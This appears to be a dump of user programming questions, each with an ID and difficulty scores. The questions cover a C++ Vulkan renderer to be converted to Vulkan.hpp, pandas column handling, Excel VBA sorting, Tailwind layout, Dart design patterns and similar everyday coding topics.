queueFamilyIndex; queueCreateInfo.queueCount = 1; queueCreateInfo.pQueuePriorities = &queuePriority; queueCreateInfos.push_back(queueCreateInfo); } // Set up the physical device features VkPhysicalDeviceFeatures deviceFeatures{}; deviceFeatures.samplerAnisotropy = VK_TRUE; // Enable anisotropic filtering // Set up the device create info VkDeviceCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_DEVICE_CREATE_INFO; createInfo.queueCreateInfoCount = static_cast<uint32_t>(queueCreateInfos.size()); createInfo.pQueueCreateInfos = queueCreateInfos.data(); createInfo.pEnabledFeatures = &deviceFeatures; createInfo.enabledExtensionCount = static_cast<uint32_t>(deviceExtensions.size()); createInfo.ppEnabledExtensionNames = deviceExtensions.data(); // Create the logical device if (vkCreateDevice(physicalDevice, &createInfo, nullptr, &device) != VK_SUCCESS) { throw std::runtime_error("Failed to create a logical device."); } // Retrieve the graphics queue and the present queue vkGetDeviceQueue(device, indices.graphicsFamily.value(), 0, &graphicsQueue); vkGetDeviceQueue(device, indices.presentFamily.value(), 0, &presentQueue); } void Renderer::CleanupDevice() { // Reset the pipeline first to ensure it’s destroyed before the device pipeline.reset(); // Destroy the logical device vkDestroyDevice(device, nullptr); } void Renderer::CreateSwapchain() { // Get swapchain support details SwapChainSupportDetails swapChainSupport = querySwapChainSupport(physicalDevice,surface); VkSurfaceFormatKHR surfaceFormat = chooseSwapSurfaceFormat(swapChainSupport.formats); swapChainImageFormat = surfaceFormat.format; // Initialize the swapChainImageFormat VkPresentModeKHR presentMode = chooseSwapPresentMode(swapChainSupport.presentModes); VkExtent2D extent = chooseSwapExtent(swapChainSupport.capabilities,window); // Update the swapChainExtent with the chosen extent swapChainExtent = extent; uint32_t imageCount = swapChainSupport.capabilities.minImageCount + 1; if (swapChainSupport.capabilities.maxImageCount > 0 && imageCount > swapChainSupport.capabilities.maxImageCount) { imageCount = swapChainSupport.capabilities.maxImageCount; } // Create the swapchain // … VkSwapchainCreateInfoKHR createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR; createInfo.surface = surface; createInfo.minImageCount = imageCount; createInfo.imageFormat = surfaceFormat.format; createInfo.imageColorSpace = surfaceFormat.colorSpace; createInfo.imageExtent = extent; createInfo.imageArrayLayers = 1; createInfo.imageUsage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT; QueueFamilyIndices indices = GetQueueFamilyIndices(physicalDevice); uint32_t queueFamilyIndices[] = { indices.graphicsFamily.value(), indices.presentFamily.value() }; if (indices.graphicsFamily != indices.presentFamily) { createInfo.imageSharingMode = VK_SHARING_MODE_CONCURRENT; createInfo.queueFamilyIndexCount = 2; createInfo.pQueueFamilyIndices = queueFamilyIndices; } else { createInfo.imageSharingMode = VK_SHARING_MODE_EXCLUSIVE; } createInfo.preTransform = swapChainSupport.capabilities.currentTransform; createInfo.compositeAlpha = VK_COMPOSITE_ALPHA_OPAQUE_BIT_KHR; createInfo.presentMode = presentMode; createInfo.clipped = VK_TRUE; if (vkCreateSwapchainKHR(device, &createInfo, nullptr, &swapchain) != VK_SUCCESS) { throw std::runtime_error("failed to create swap chain!"); } // Retrieve swapchain images (color buffers) // … // Retrieve swapchain images vkGetSwapchainImagesKHR(device, swapchain, &imageCount, nullptr); swapChainImages.resize(imageCount); vkGetSwapchainImagesKHR(device, swapchain, &imageCount, swapChainImages.data()); // Create image views for swapchain images CreateImageViews(); } void Renderer::CleanupSwapchain() { // Clean up Vulkan swapchain if (swapchain != VK_NULL_HANDLE) { vkDestroySwapchainKHR(device, swapchain, nullptr); swapchain = VK_NULL_HANDLE; } } void Renderer::CreateImageViews() { swapChainImageViews.resize(swapChainImages.size()); for (size_t i = 0; i < swapChainImages.size(); ++i) { VkImageViewCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO; createInfo.image = swapChainImages[i]; createInfo.viewType = VK_IMAGE_VIEW_TYPE_2D; createInfo.format = swapChainImageFormat; createInfo.components.r = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.g = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.b = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.a = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; createInfo.subresourceRange.baseMipLevel = 0; createInfo.subresourceRange.levelCount = 1; createInfo.subresourceRange.baseArrayLayer = 0; createInfo.subresourceRange.layerCount = 1; createInfo.flags = 0; if (vkCreateImageView(device, &createInfo, nullptr, &swapChainImageViews[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create an image view."); } } } void Renderer::CleanupImageViews() { for (auto imageView : swapChainImageViews) { vkDestroyImageView(device, imageView, nullptr); } swapChainImageViews.clear(); } void Renderer::CreateRenderPass() { VkAttachmentDescription colorAttachment{}; colorAttachment.format = swapChainImageFormat; colorAttachment.samples = VK_SAMPLE_COUNT_1_BIT; colorAttachment.loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR; colorAttachment.storeOp = VK_ATTACHMENT_STORE_OP_STORE; colorAttachment.stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE; colorAttachment.stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE; colorAttachment.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED; colorAttachment.finalLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR; VkAttachmentReference colorAttachmentRef{}; colorAttachmentRef.attachment = 0; colorAttachmentRef.layout = VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL; VkSubpassDescription subpass{}; subpass.pipelineBindPoint = VK_PIPELINE_BIND_POINT_GRAPHICS; subpass.colorAttachmentCount = 1; subpass.pColorAttachments = &colorAttachmentRef; VkRenderPassCreateInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_CREATE_INFO; renderPassInfo.attachmentCount = 1; renderPassInfo.pAttachments = &colorAttachment; renderPassInfo.subpassCount = 1; renderPassInfo.pSubpasses = &subpass; VkSubpassDependency dependency{}; dependency.srcSubpass = VK_SUBPASS_EXTERNAL; dependency.dstSubpass = 0; dependency.srcStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.srcAccessMask = 0; dependency.dstStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT; renderPassInfo.dependencyCount = 1; renderPassInfo.pDependencies = &dependency; if (vkCreateRenderPass(device, &renderPassInfo, nullptr, &renderPass) != VK_SUCCESS) { throw std::runtime_error("Failed to create render pass."); } } void Renderer::CleanupRenderPass() { vkDestroyRenderPass(device, renderPass, nullptr); } void Renderer::CreateCommandPool() { // Find a queue family index that supports graphics operations QueueFamilyIndices queueFamilyIndices = GetQueueFamilyIndices(physicalDevice); // Create a command pool for the queue family VkCommandPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_COMMAND_POOL_CREATE_INFO; poolInfo.queueFamilyIndex = queueFamilyIndices.graphicsFamily.value(); poolInfo.flags = VK_COMMAND_POOL_CREATE_RESET_COMMAND_BUFFER_BIT; // Set the flag here if (vkCreateCommandPool(device, &poolInfo, nullptr, &commandPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create command pool."); } CreateCommandBuffers(); // Create command buffers after creating the command pool } void Renderer::CleanupCommandPool() { // Clean up Vulkan command pool CleanupCommandBuffers(); // Add this line to clean up command buffers before destroying the command pool vkDestroyCommandPool(device, commandPool, nullptr); } void Renderer::CreateCommandBuffers() { //commandBuffers.resize(kMaxFramesInFlight); commandBuffers.resize(kMaxFramesInFlight * 2); VkCommandBufferAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_ALLOCATE_INFO; allocInfo.commandPool = commandPool; allocInfo.level = VK_COMMAND_BUFFER_LEVEL_PRIMARY; allocInfo.commandBufferCount = static_cast<uint32_t>(commandBuffers.size()); if (vkAllocateCommandBuffers(device, &allocInfo, commandBuffers.data()) != VK_SUCCESS) { throw std::runtime_error("Failed to allocate command buffers."); } // Set the initial value of the currentCommandBuffer currentCommandBuffer = commandBuffers[currentFrame]; } void Renderer::CleanupCommandBuffers() { vkFreeCommandBuffers(device, commandPool, static_cast<uint32_t>(commandBuffers.size()), commandBuffers.data()); } void Renderer::CreateFramebuffers() { // Check if the framebuffers vector is not empty, and call CleanupFramebuffers() if (!framebuffers.empty()) { CleanupFramebuffers(); } // Create Vulkan framebuffers for swapchain images framebuffers.resize(swapChainImageViews.size()); for (size_t i = 0; i < swapChainImageViews.size(); ++i) { VkImageView attachments[] = { swapChainImageViews[i] }; VkFramebufferCreateInfo framebufferInfo{}; framebufferInfo.sType = VK_STRUCTURE_TYPE_FRAMEBUFFER_CREATE_INFO; framebufferInfo.renderPass = renderPass; framebufferInfo.attachmentCount = 1; framebufferInfo.pAttachments = attachments; framebufferInfo.width = swapChainExtent.width; framebufferInfo.height = swapChainExtent.height; framebufferInfo.layers = 1; if (vkCreateFramebuffer(device, &framebufferInfo, nullptr, &framebuffers[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create framebuffer."); } } } void Renderer::CleanupFramebuffers() { for (auto framebuffer : framebuffers) { if (framebuffer != VK_NULL_HANDLE) { vkDestroyFramebuffer(device, framebuffer, nullptr); framebuffer = VK_NULL_HANDLE; } } framebuffers.clear(); // Make sure to clear the framebuffers vector after destroying each framebuffer } void Renderer::CreateSyncObjects() { imageAvailableSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); renderFinishedSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); inFlightFences.resize(kMaxFramesInFlight, VK_NULL_HANDLE); VkSemaphoreCreateInfo semaphoreInfo{}; semaphoreInfo.sType = VK_STRUCTURE_TYPE_SEMAPHORE_CREATE_INFO; VkFenceCreateInfo fenceInfo{}; fenceInfo.sType = VK_STRUCTURE_TYPE_FENCE_CREATE_INFO; fenceInfo.flags = VK_FENCE_CREATE_SIGNALED_BIT; for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (vkCreateSemaphore(device, &semaphoreInfo, nullptr, &imageAvailableSemaphores[i]) != VK_SUCCESS || vkCreateSemaphore(device, &semaphoreInfo, nullptr, &renderFinishedSemaphores[i]) != VK_SUCCESS || vkCreateFence(device, &fenceInfo, nullptr, &inFlightFences[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create synchronization objects for a frame."); } } } void Renderer::CleanupSyncObjects() { for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (renderFinishedSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, renderFinishedSemaphores[i], nullptr); if (imageAvailableSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, imageAvailableSemaphores[i], nullptr); if (inFlightFences[i] != VK_NULL_HANDLE) vkDestroyFence(device, inFlightFences[i], nullptr); } } SwapChainSupportDetails Renderer::querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface) { SwapChainSupportDetails details; // Query the capabilities vkGetPhysicalDeviceSurfaceCapabilitiesKHR(device, surface, &details.capabilities); // Query the supported formats uint32_t formatCount; vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, nullptr); if (formatCount != 0) { details.formats.resize(formatCount); vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, details.formats.data()); } // Query the supported present modes uint32_t presentModeCount; vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, nullptr); if (presentModeCount != 0) { details.presentModes.resize(presentModeCount); vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, details.presentModes.data()); } return details; } VkSurfaceFormatKHR Renderer::chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats) { for (const auto& availableFormat : availableFormats) { if (availableFormat.format == VK_FORMAT_B8G8R8A8_SRGB && availableFormat.colorSpace == VK_COLOR_SPACE_SRGB_NONLINEAR_KHR) { return availableFormat; } } return availableFormats[0]; } VkPresentModeKHR Renderer::chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes) { for (const auto& availablePresentMode : availablePresentModes) { if (availablePresentMode == VK_PRESENT_MODE_MAILBOX_KHR) { return availablePresentMode; } } return VK_PRESENT_MODE_FIFO_KHR; } VkExtent2D Renderer::chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window) { if (capabilities.currentExtent.width != UINT32_MAX) { return capabilities.currentExtent; } else { int width, height; glfwGetFramebufferSize(window, &width, &height); VkExtent2D actualExtent = { static_cast<uint32_t>(width), static_cast<uint32_t>(height) }; actualExtent.width = std::max(capabilities.minImageExtent.width, std::min(capabilities.maxImageExtent.width, actualExtent.width)); actualExtent.height = std::max(capabilities.minImageExtent.height, std::min(capabilities.maxImageExtent.height, actualExtent.height)); return actualExtent; } } std::vector<const char*> Renderer::CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice) { uint32_t extensionCount; vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, nullptr); std::vector<VkExtensionProperties> availableExtensions(extensionCount); vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, availableExtensions.data()); std::set<std::string> requiredExtensions(deviceExtensions.begin(), deviceExtensions.end()); for (const auto& extension : availableExtensions) { requiredExtensions.erase(extension.extensionName); } std::vector<const char*> remainingExtensions; for (const auto& extension : requiredExtensions) { remainingExtensions.push_back(extension.c_str()); } return remainingExtensions; } QueueFamilyIndices Renderer::GetQueueFamilyIndices(VkPhysicalDevice physicalDevice) { QueueFamilyIndices indices; uint32_t queueFamilyCount = 0; vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, nullptr); std::vector<VkQueueFamilyProperties> queueFamilies(queueFamilyCount); vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, queueFamilies.data()); int i = 0; for (const auto& queueFamily : queueFamilies) { if (queueFamily.queueFlags & VK_QUEUE_GRAPHICS_BIT) { indices.graphicsFamily = i; } VkBool32 presentSupport = false; vkGetPhysicalDeviceSurfaceSupportKHR(physicalDevice, i, surface, &presentSupport); if (presentSupport) { indices.presentFamily = i; } if (indices.IsComplete()) { break; } i++; } return indices; } VkDevice* Renderer::GetDevice() { return &device; }; VkPhysicalDevice* Renderer::GetPhysicalDevice() { return &physicalDevice; }; VkCommandPool* Renderer::GetCommandPool() { return &commandPool; }; VkQueue* Renderer::GetGraphicsQueue() { return &graphicsQueue; }; VkCommandBuffer* Renderer::GetCurrentCommandBuffer() { return &currentCommandBuffer; } VkDescriptorSetLayout Renderer::CreateDescriptorSetLayout() { VkDescriptorSetLayoutBinding uboLayoutBinding{}; uboLayoutBinding.binding = 0; uboLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; uboLayoutBinding.descriptorCount = 1; uboLayoutBinding.stageFlags = VK_SHADER_STAGE_VERTEX_BIT; uboLayoutBinding.pImmutableSamplers = nullptr; // Add sampler layout binding VkDescriptorSetLayoutBinding samplerLayoutBinding{}; samplerLayoutBinding.binding = 1; samplerLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerLayoutBinding.descriptorCount = 1; samplerLayoutBinding.stageFlags = VK_SHADER_STAGE_FRAGMENT_BIT; samplerLayoutBinding.pImmutableSamplers = nullptr; std::array<VkDescriptorSetLayoutBinding, 2> bindings = { uboLayoutBinding, samplerLayoutBinding }; VkDescriptorSetLayoutCreateInfo layoutInfo{}; layoutInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_LAYOUT_CREATE_INFO; layoutInfo.bindingCount = static_cast<uint32_t>(bindings.size()); layoutInfo.pBindings = bindings.data(); VkDescriptorSetLayout descriptorSetLayout; if (vkCreateDescriptorSetLayout(device, &layoutInfo, nullptr, &descriptorSetLayout) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor set layout!"); } return descriptorSetLayout; } VkDescriptorPool Renderer::CreateDescriptorPool(uint32_t maxSets) { VkDescriptorPoolSize poolSize{}; poolSize.type = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; poolSize.descriptorCount = maxSets; // Add an additional descriptor pool size for COMBINED_IMAGE_SAMPLER VkDescriptorPoolSize samplerPoolSize{}; samplerPoolSize.type = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerPoolSize.descriptorCount = maxSets; std::array<VkDescriptorPoolSize, 2> poolSizes = { poolSize, samplerPoolSize }; VkDescriptorPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_POOL_CREATE_INFO; poolInfo.poolSizeCount = static_cast<uint32_t>(poolSizes.size()); poolInfo.pPoolSizes = poolSizes.data(); poolInfo.maxSets = maxSets; VkDescriptorPool descriptorPool; if (vkCreateDescriptorPool(device, &poolInfo, nullptr, &descriptorPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor pool!"); } return descriptorPool; } void Renderer::CreateGraphicsPipeline(Mesh* mesh, Material* material) { vkDeviceWaitIdle(device); if (pipeline) { pipeline->Cleanup(); } // Create pipeline object and configure its properties pipeline = std::make_shared<Pipeline>(); pipeline->CreateGraphicsPipeline(mesh->GetVertexInputBindingDescriptions(), mesh->GetVertexInputAttributeDescriptions(), swapChainExtent, {material->GetvertexShader().get(), material->GetfragmentShader().get()}, renderPass, material->GetPipelineLayout(), device); } std::shared_ptr<Pipeline> Renderer::GetPipeline() { return pipeline; } std::pair<VkBuffer, VkDeviceMemory> Renderer::RequestMvpBuffer() { uint32_t mvpBufferIndex = currentMvpBufferIndex; VkBuffer mvpBuffer = mvpBuffers[mvpBufferIndex]; VkDeviceMemory& requestedMvpBufferMemory = mvpBufferMemory[mvpBufferIndex]; // Changed the variable name currentMvpBufferIndex = (currentMvpBufferIndex + 1) % kMvpBufferCount; return std::make_pair(mvpBuffer, requestedMvpBufferMemory); } Can you convert the above code to make best use of Vulkan.hpp?
225a6281ceaf40a8050ca5b662a244a9
{ "intermediate": 0.3268023133277893, "beginner": 0.3990335762500763, "expert": 0.274164080619812 }
11,787
i want to update object property using array spread in javascript,show me how to do it
25f29f095bf0dbc2714ed95729ab0a01
{ "intermediate": 0.6776252388954163, "beginner": 0.11753522604703903, "expert": 0.20483943819999695 }
11,788
how do I set in pandas the dtype of the columns? for instance first column of frame will be datetime, second will be double, third will be again double
40f51845b113adf716f5829af6acb079
{ "intermediate": 0.5495105981826782, "beginner": 0.08487115055322647, "expert": 0.3656182587146759 }
11,789
I have a sheet with two columns A and B A1 & B1 are Headers. The data in A2 to A21 is text and the data in B2 to B21 is a number from 1 to 3. On worksheet Activate, I would like to sort the data in rows A2:A21 and B2:B21 by the values in B in ascednding order. How can I write this VBA code
5f502cc1a106797a32486a4f7513c774
{ "intermediate": 0.4478173851966858, "beginner": 0.3355720043182373, "expert": 0.2166106402873993 }
11,790
give example for try catch in python
5c9630cff5f742e1f4538725b15bf00d
{ "intermediate": 0.42956647276878357, "beginner": 0.27273258566856384, "expert": 0.29770100116729736 }
11,791
Strategy pattern in dart with the context of delivery service
52fca1c2e2b2db55f740b44656b04f9f
{ "intermediate": 0.28492969274520874, "beginner": 0.34031787514686584, "expert": 0.374752402305603 }
11,792
How do I correct this code so that the Headers A1 & B1 are not in the sort range: Private Sub Worksheet_Activate() With Range(“A1:B21”) .Sort Key1:=Range(“B2:B21”), Order1:=xlAscending, Header:=xlYes End With End Sub
ddfee290276d9b2e490d63b4bc9ff210
{ "intermediate": 0.7172189950942993, "beginner": 0.13860857486724854, "expert": 0.14417241513729095 }
11,793
<div class="content-header"> <div id="titlebar"> <img id="job-logo" src="https://cdn.discordapp.com/attachments/1106925408391274557/1118116332152557648/police.png" class="select-none"> <h1 class="select-none">Alpha Dispatching</h1> <!--<select name="status" id="status-selector"> <option value="option1">option1</option> <option value="option2">option2</option> <option value="option3">option3</option> <option value="option4">option4</option> </select>--> </div> <div id="request-bar" class="h-12 w-full flex text-center"> <button id="request-super" class="rq-btn w-1/4 bg-blue-500 hover:bg-lime-200" on:click={() => handleClick("request-super")}>Request Supervisor</button> <button id="request-medical" class="rq-btn w-1/4 bg-blue-500 hover:bg-lime-200" on:click={() => handleClick("request-medical")}>Request Medical</button> <button id="request-mech" class="rq-btn w-1/4 bg-blue-500 hover:bg-lime-200" on:click={() => handleClick("request-mech")}>Request Mechanic</button> <button id="trafficstop" class="rq-btn w-1/4 bg-blue-500 hover:bg-lime-200" on:click={() => handleClick("trafficstop")}>Traffic Stop</button> </div> </div> <div id="content-calls" class="border-2 border-red-500 rounded-lg mx-auto flex justify-center"> <h3 class="select-none">Active Calls</h3> <table class="calls-list" id="active-calls"> <thead><tr> <th class="field-table-col">ID</th> <th class="field-table-col">TYPE</th> <th class="field-table-col">LOCATION</th> <th class="field-table-col">DIST</th> <th class="field-table-col">RECEIVED</th> <th class="field-table-col">UNITS</th> </tr></thead> <tbody></tbody> </table> </div> how can i push the div with id content-calls down so its not flush to the div above
49927bee8e817c958a284cbb43845720
{ "intermediate": 0.32642418146133423, "beginner": 0.48549705743789673, "expert": 0.18807879090309143 }
11,794
tailwind rgb(44, 119, 231)
e0448b965d0d56671c1cf495d95f72ea
{ "intermediate": 0.32551875710487366, "beginner": 0.34770089387893677, "expert": 0.32678040862083435 }
11,795
I had a distance column in my dataset in which the valuses where appearing as 400m or 575m, I wanted to remove the m and jsut keep the value of the distance so just 400 and 575 in a new column, I used the below code which worked: # Extract distance in meters from 'Dis' column df['Distance'] = df['Dis'].str.extract('(\d+)').astype(int) Now, I want to do something similar for my Fin column which Is my race finished column in which the current values are listed as 1st, 2nd, 3rd, 4th, 5th and 6th. I just want to extreact the finish number so 1, 2, 3, 4, 5, 6
b4b68f96e0ae261eaff4c05494b5e0dc
{ "intermediate": 0.41900527477264404, "beginner": 0.2790324091911316, "expert": 0.30196237564086914 }
11,797
<div class="content-header"> <div id="titlebar"> <img id="job-logo" src="https://cdn.discordapp.com/attachments/1106925408391274557/1118116332152557648/police.png" class="select-none"> <h1 class="select-none">Alpha Dispatching</h1> <!--<select name="status" id="status-selector"> <option value="option1">option1</option> <option value="option2">option2</option> <option value="option3">option3</option> <option value="option4">option4</option> </select>--> </div> <div id="request-bar" class="h-12 w-full flex text-center"> <button id="request-super" class="rq-btn w-1/4 bg-blue-500 hover:bg-lime-200" on:click={() => handleClick("request-super")}>Request Supervisor</button> <button id="request-medical" class="rq-btn w-1/4 bg-blue-500 hover:bg-lime-200" on:click={() => handleClick("request-medical")}>Request Medical</button> <button id="request-mech" class="rq-btn w-1/4 bg-blue-500 hover:bg-lime-200" on:click={() => handleClick("request-mech")}>Request Mechanic</button> <button id="trafficstop" class="rq-btn w-1/4 bg-blue-500 hover:bg-lime-200" on:click={() => handleClick("trafficstop")}>Traffic Stop</button> </div> </div> <div id="content-calls" class="border-2 border-red-500 rounded-lg mx-auto flex justify-center"> <h3 class="select-none">Active Calls</h3> <table class="calls-list" id="active-calls"> <thead><tr> <th class="field-table-col">ID</th> <th class="field-table-col">TYPE</th> <th class="field-table-col">LOCATION</th> <th class="field-table-col">DIST</th> <th class="field-table-col">RECEIVED</th> <th class="field-table-col">UNITS</th> </tr></thead> <tbody></tbody> </table> </div> how can i push the div with id content-calls down so its not flush to the div above
2bc63cb5b9a108fba9637b207d87b921
{ "intermediate": 0.32642418146133423, "beginner": 0.48549705743789673, "expert": 0.18807879090309143 }
11,798
I’m building a video game engine using C++ as the coding language and Vulkan for graphics. I am trying to set up a generic renderer using Vulkan that is flexible and will render objects based on a vector that is supplied to it. The renderer will also handle the creation of the window using GLFW and use GLM for all relevant math calls. I am using the ASSIMP library to load 3d models and animations. Here is a portion of the code: Renderer.h: #pragma once #include <vulkan/vulkan.h> #include "Window.h" #include <vector> #include <stdexcept> #include <set> #include <optional> #include <iostream> #include "Pipeline.h" #include "Material.h" #include "Mesh.h" struct QueueFamilyIndices { std::optional<uint32_t> graphicsFamily; std::optional<uint32_t> presentFamily; bool IsComplete() { return graphicsFamily.has_value() && presentFamily.has_value(); } }; struct SwapChainSupportDetails { VkSurfaceCapabilitiesKHR capabilities; std::vector<VkSurfaceFormatKHR> formats; std::vector<VkPresentModeKHR> presentModes; }; struct MVP { glm::mat4 model; glm::mat4 view; glm::mat4 projection; }; class Renderer { public: Renderer(); ~Renderer(); void Initialize(GLFWwindow* window); void Shutdown(); void BeginFrame(); void EndFrame(); VkDescriptorSetLayout CreateDescriptorSetLayout(); VkDescriptorPool CreateDescriptorPool(uint32_t maxSets); VkDevice* GetDevice(); VkPhysicalDevice* GetPhysicalDevice(); VkCommandPool* GetCommandPool(); VkQueue* GetGraphicsQueue(); VkCommandBuffer* GetCurrentCommandBuffer(); std::shared_ptr<Pipeline> GetPipeline(); void CreateGraphicsPipeline(Mesh* mesh, Material* material); std::pair<VkBuffer, VkDeviceMemory> RequestMvpBuffer(); private: bool isShutDown = false; static const uint32_t kMvpBufferCount = 3; std::vector<VkBuffer> mvpBuffers; std::vector<VkDeviceMemory> mvpBufferMemory; uint32_t currentMvpBufferIndex = 0; bool shutdownInProgress; uint32_t currentCmdBufferIndex = 0; std::vector<size_t> currentFramePerImage; std::vector<VkImage> swapChainImages; std::vector<VkImageView> swapChainImageViews; VkExtent2D swapChainExtent; VkRenderPass renderPass; uint32_t imageIndex; std::shared_ptr<Pipeline> pipeline; VkFormat swapChainImageFormat; std::vector<VkCommandBuffer> commandBuffers; void CreateImageViews(); void CleanupImageViews(); void CreateRenderPass(); void CleanupRenderPass(); void CreateSurface(); void DestroySurface(); void CreateInstance(); void CleanupInstance(); void ChoosePhysicalDevice(); void CreateDevice(); void CleanupDevice(); void CreateSwapchain(); void CleanupSwapchain(); void CreateCommandPool(); void CleanupCommandPool(); void CreateFramebuffers(); void CleanupFramebuffers(); void CreateCommandBuffers(); void CleanupCommandBuffers(); void Present(); GLFWwindow* window; VkInstance instance = VK_NULL_HANDLE; VkPhysicalDevice physicalDevice = VK_NULL_HANDLE; VkDevice device = VK_NULL_HANDLE; VkSurfaceKHR surface; VkSwapchainKHR swapchain; VkCommandPool commandPool; VkCommandBuffer currentCommandBuffer; std::vector<VkFramebuffer> framebuffers; // Additional Vulkan objects needed for rendering… const uint32_t kMaxFramesInFlight = 2; std::vector<VkSemaphore> imageAvailableSemaphores; std::vector<VkSemaphore> renderFinishedSemaphores; std::vector<VkFence> inFlightFences; size_t currentFrame; VkQueue graphicsQueue; VkQueue presentQueue; void CreateSyncObjects(); void CleanupSyncObjects(); SwapChainSupportDetails querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface); VkSurfaceFormatKHR chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats); VkPresentModeKHR chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes); VkExtent2D chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window); std::vector<const char*> deviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME }; std::vector<const char*> CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice); QueueFamilyIndices GetQueueFamilyIndices(VkPhysicalDevice physicalDevice); }; Renderer.cpp: #include "Renderer.h" Renderer::Renderer() : currentFrame(0), shutdownInProgress(false) { } Renderer::~Renderer() { Shutdown(); } void Renderer::Initialize(GLFWwindow* window) { this->window = window; CreateInstance(); CreateSurface(); ChoosePhysicalDevice(); CreateDevice(); // Create the MVP buffers mvpBuffers.resize(kMvpBufferCount); mvpBufferMemory.resize(kMvpBufferCount); for (uint32_t i = 0; i < kMvpBufferCount; ++i) { BufferUtils::CreateBuffer(device, *GetPhysicalDevice(), sizeof(MVP), VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT, VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT, mvpBuffers[i], mvpBufferMemory[i]); } CreateSwapchain(); CreateRenderPass(); CreateCommandPool(); CreateFramebuffers(); CreateSyncObjects(); } void Renderer::Shutdown() { if (isShutDown) { return; } if (shutdownInProgress) { return; } shutdownInProgress = true; if (device != VK_NULL_HANDLE) { vkDeviceWaitIdle(device); } CleanupFramebuffers(); CleanupRenderPass(); CleanupSyncObjects(); CleanupCommandPool(); CleanupImageViews(); CleanupSwapchain(); // Destroy the MVP buffers for (uint32_t i = 0; i < kMvpBufferCount; ++i) { vkDestroyBuffer(device, mvpBuffers[i], nullptr); vkFreeMemory(device, mvpBufferMemory[i], nullptr); } if (device != VK_NULL_HANDLE) { CleanupDevice(); } DestroySurface(); CleanupInstance(); shutdownInProgress = false; isShutDown = true; } void Renderer::BeginFrame() { // Wait for any previous work on this swapchain image to complete vkWaitForFences(device, 1, &inFlightFences[currentFrame], VK_TRUE, UINT64_MAX); vkResetFences(device, 1, &inFlightFences[currentFrame]); // Acquire an image from the swapchain, then begin recording commands for the current frame. VkResult acquireResult = vkAcquireNextImageKHR(device, swapchain, UINT64_MAX, imageAvailableSemaphores[currentFrame], VK_NULL_HANDLE, &imageIndex); if (acquireResult != VK_SUCCESS && acquireResult != VK_SUBOPTIMAL_KHR) { throw std::runtime_error("Failed to acquire next swapchain image."); } VkCommandBufferBeginInfo beginInfo{}; beginInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO; //currentCommandBuffer = commandBuffers[currentFrame]; currentCmdBufferIndex = 